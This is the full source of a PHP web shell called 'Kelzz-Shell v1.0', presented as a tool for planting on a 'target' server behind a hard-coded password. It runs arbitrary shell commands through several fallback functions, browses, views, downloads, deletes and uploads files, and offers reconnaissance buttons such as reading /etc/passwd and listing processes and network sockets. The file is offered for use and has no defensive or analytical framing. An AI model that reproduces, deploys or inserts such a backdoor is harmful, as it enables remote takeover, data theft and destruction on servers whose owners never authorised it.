<?php
/* 
 * Kelzz-Shell v1.0 .phtml
 * Access: http://target.com/shell.phtml?pass=kelzz
 */

// ================= CONFIGURATION =================
$default_pass = "kelzz";              // Default password
$theme_color = "green";              // green, blue, red, dark
$disable_functions = @ini_get('disable_functions');

// ================= AUTHENTICATION =================
session_start();
$auth = false;

// Check password
if(isset($_POST['pass']) && $_POST['pass'] == $default_pass) {
    $_SESSION['auth'] = md5($default_pass);
    $auth = true;
}
if(isset($_SESSION['auth']) && $_SESSION['auth'] == md5($default_pass)) {
    $auth = true;
}
if(isset($_GET['pass']) && $_GET['pass'] == $default_pass) {
    $_SESSION['auth'] = md5($default_pass);
    $auth = true;
}

// ================= FUNCTIONS =================
function execute($cmd) {
    if(function_exists('system')) {
        ob_start();
        @system($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } elseif(function_exists('shell_exec')) {
        $output = @shell_exec($cmd);
    } elseif(function_exists('passthru')) {
        ob_start();
        @passthru($cmd);
        $output = ob_get_contents();
        ob_end_clean();
    } elseif(function_exists('exec')) {
        @exec($cmd, $output);
        $output = implode("\n", $output);
    } else {
        $output = `$cmd`;
    }
    return $output;
}

function get_file_perms($file) {
    $perms = fileperms($file);
    $info = '';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

// ================= MAIN LOGIC =================
if(!$auth) {
    // Show login page
    ?>
<!DOCTYPE html>
<html>
<head>
    <title>Kelzz-Shell Login</title>
    <style>
        body {
            background: #111;
            color: #0f0;
            font-family: monospace;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-box {
            background: #222;
            padding: 30px;
            border: 1px solid #0f0;
            border-radius: 5px;
            box-shadow: 0 0 10px #0f0;
        }
        input[type="password"] {
            background: #000;
            color: #0f0;
            border: 1px solid #0f0;
            padding: 10px;
            margin: 10px 0;
            width: 200px;
        }
        input[type="submit"] {
            background: #003300;
            color: #0f0;
            border: 1px solid #0f0;
            padding: 10px 20px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background: #005500;
        }
    </style>
</head>
<body>
    <div class="login-box">
        <h2>🔐 Kelzz-Shell v1.0</h2>
        <form method="POST">
            <input type="password" name="pass" placeholder="Password" required><br>
            <input type="submit" value="Login">
        </form>
    </div>
</body>
</html>
    <?php
    exit();
}

// ================= ACTION HANDLING =================
$output = "";
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();

// Command execution
if(isset($_POST['command'])) {
    $output = execute($_POST['command']);
}

// File operations
if(isset($_GET['action'])) {
    switch($_GET['action']) {
        case 'view':
            $file = $_GET['file'];
            if(file_exists($file)) {
                $output = htmlspecialchars(file_get_contents($file));
            }
            break;
        case 'delete':
            $file = $_GET['file'];
            if(is_dir($file)) {
                rmdir($file);
            } else {
                unlink($file);
            }
            header("Location: ?dir=" . urlencode($current_dir));
            exit;
        case 'download':
            $file = $_GET['file'];
            if(file_exists($file)) {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($file) . '"');
                readfile($file);
                exit;
            }
            break;
    }
}

// File upload
if(isset($_FILES['uploaded_file'])) {
    $target = $current_dir . '/' . $_FILES['uploaded_file']['name'];
    if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
        $output = "File uploaded successfully!";
    } else {
        $output = "Upload failed!";
    }
}

// ================= HTML INTERFACE =================
?>
<!DOCTYPE html>
<html>
<head>
    <title>Kelzz-Shell v1.0</title>
    <meta charset="UTF-8">
    <style>
        body {
            background: #0a0a0a;
            color: #0f0;
            font-family: 'Consolas', monospace;
            margin: 0;
            padding: 20px;
        }
        .header {
            background: #111;
            padding: 15px;
            border: 1px solid #0f0;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .header h1 {
            margin: 0;
            color: #0f0;
        }
        .info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }
        .info-box {
            background: #111;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 5px;
        }
        .info-box h3 {
            margin-top: 0;
            color: #0f0;
            border-bottom: 1px solid #333;
            padding-bottom: 5px;
        }
        .command-box {
            background: #111;
            padding: 20px;
            border: 1px solid #0f0;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .command-box input[type="text"] {
            width: 80%;
            padding: 10px;
            background: #000;
            color: #0f0;
            border: 1px solid #0f0;
            font-family: monospace;
        }
        .command-box input[type="submit"] {
            padding: 10px 20px;
            background: #003300;
            color: #0f0;
            border: 1px solid #0f0;
            cursor: pointer;
            font-family: monospace;
        }
        .command-box input[type="submit"]:hover {
            background: #005500;
        }
        .output-box {
            background: #000;
            padding: 15px;
            border: 1px solid #0f0;
            border-radius: 5px;
            white-space: pre-wrap;
            word-wrap: break-word;
            max-height: 400px;
            overflow-y: auto;
            margin-bottom: 20px;
        }
        .file-manager {
            background: #111;
            padding: 20px;
            border: 1px solid #333;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
        }
        .file-table th {
            background: #222;
            padding: 10px;
            text-align: left;
            border: 1px solid #333;
        }
        .file-table td {
            padding: 8px;
            border: 1px solid #333;
        }
        .file-table tr:hover {
            background: #222;
        }
        .action-btn {
            background: #003300;
            color: #0f0;
            border: 1px solid #0f0;
            padding: 5px 10px;
            text-decoration: none;
            border-radius: 3px;
            font-size: 12px;
            margin-right: 5px;
        }
        .action-btn:hover {
            background: #005500;
        }
        .upload-box {
            background: #111;
            padding: 20px;
            border: 1px solid #333;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .quick-commands {
            background: #111;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .quick-btn {
            display: inline-block;
            background: #222;
            color: #0f0;
            padding: 8px 15px;
            margin: 5px;
            border: 1px solid #333;
            border-radius: 3px;
            text-decoration: none;
        }
        .quick-btn:hover {
            background: #333;
        }
        .footer {
            text-align: center;
            margin-top: 20px;
            color: #666;
            font-size: 12px;
        }
    </style>
</head>
<body>
    <div class="header">
        <h1>⚡ Kelzz-Shell v1.0</h1>
        <div>Server: <?php echo @php_uname(); ?> | PHP: <?php echo @phpversion(); ?> | User: <?php echo @execute('whoami'); ?></div>
        <div>Current Dir: <?php echo $current_dir; ?></div>
    </div>

    <div class="info-grid">
        <div class="info-box">
            <h3>Server Info</h3>
            <strong>OS:</strong> <?php echo PHP_OS; ?><br>
            <strong>Server:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br>
            <strong>IP:</strong> <?php echo $_SERVER['SERVER_ADDR']; ?><br>
            <strong>Disabled Functions:</strong> <?php echo $disable_functions ?: 'None'; ?>
        </div>
        <div class="info-box">
            <h3>System Info</h3>
            <?php
            echo "<strong>Uptime:</strong> " . @execute('uptime') . "<br>";
            echo "<strong>Memory:</strong> " . @execute('free -m') . "<br>";
            echo "<strong>Disk:</strong> " . @execute('df -h');
            ?>
        </div>
        <div class="info-box">
            <h3>Quick Actions</h3>
            <a href="?dir=<?php echo urlencode($current_dir); ?>" class="action-btn">Refresh</a>
            <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" class="action-btn">Up Directory</a>
            <a href="?pass=<?php echo $default_pass; ?>&action=logout" class="action-btn">Logout</a>
        </div>
    </div>

    <div class="command-box">
        <form method="POST">
            <input type="text" name="command" placeholder="Enter command..." value="<?php echo isset($_POST['command']) ? htmlspecialchars($_POST['command']) : 'whoami'; ?>">
            <input type="submit" value="Execute">
        </form>
    </div>

    <?php if($output): ?>
    <div class="output-box">
        <strong>Command Output:</strong><br>
        <?php echo htmlspecialchars($output); ?>
    </div>
    <?php endif; ?>

    <div class="quick-commands">
        <strong>Quick Commands:</strong><br>
        <?php
        $quick_cmds = [
            'whoami' => 'Who Am I',
            'pwd' => 'Current Dir',
            'uname -a' => 'System Info',
            'ls -la' => 'List Files',
            'ps aux' => 'Process List',
            'netstat -tulpn' => 'Network',
            'cat /etc/passwd' => 'Users',
            'ifconfig' => 'Network Config'
        ];
        foreach($quick_cmds as $cmd => $label): ?>
            <a href="javascript:document.querySelector('input[name=command]').value='<?php echo $cmd; ?>';document.forms[0].submit();" class="quick-btn"><?php echo $label; ?></a>
        <?php endforeach; ?>
    </div>

    <div class="file-manager">
        <h3>File Manager - <?php echo $current_dir; ?></h3>
        <table class="file-table">
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Permissions</th>
                <th>Modified</th>
                <th>Actions</th>
            </tr>
            <?php
            // Parent directory link
            if($current_dir != '/' && $current_dir != '') {
                echo '<tr><td colspan="5"><a href="?dir=' . urlencode(dirname($current_dir)) . '">[..] Parent Directory</a></td></tr>';
            }
            
            // List files
            $files = scandir($current_dir);
            foreach($files as $file) {
                if($file == '.' || $file == '..') continue;
                
                $full_path = $current_dir . '/' . $file;
                $is_dir = is_dir($full_path);
                $size = $is_dir ? '&lt;DIR&gt;' : filesize($full_path) . ' bytes';
                $perms = get_file_perms($full_path);
                $modified = date('Y-m-d H:i:s', filemtime($full_path));
                
                echo '<tr>';
                echo '<td>' . ($is_dir ? '<strong>📁 ' . $file . '</strong>' : '📄 ' . $file) . '</td>';
                echo '<td>' . $size . '</td>';
                echo '<td>' . $perms . '</td>';
                echo '<td>' . $modified . '</td>';
                echo '<td>';
                if(!$is_dir) {
                    echo '<a href="?dir=' . urlencode($current_dir) . '&action=view&file=' . urlencode($full_path) . '" class="action-btn">View</a>';
                    echo '<a href="?dir=' . urlencode($current_dir) . '&action=download&file=' . urlencode($full_path) . '" class="action-btn">Download</a>';
                }
                echo '<a href="?dir=' . urlencode($current_dir) . '&action=delete&file=' . urlencode($full_path) . '" class="action-btn" onclick="return confirm(\'Delete?\')">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
        </table>
    </div>

    <div class="upload-box">
        <h3>File Upload</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="uploaded_file">
            <input type="submit" value="Upload">
        </form>
    </div>

    <div class="footer">
        Kelzz-Shell v1.0 - <?php echo date('Y-m-d H:i:s'); ?>
    </div>
</body>
</html>
<?php endif; ?>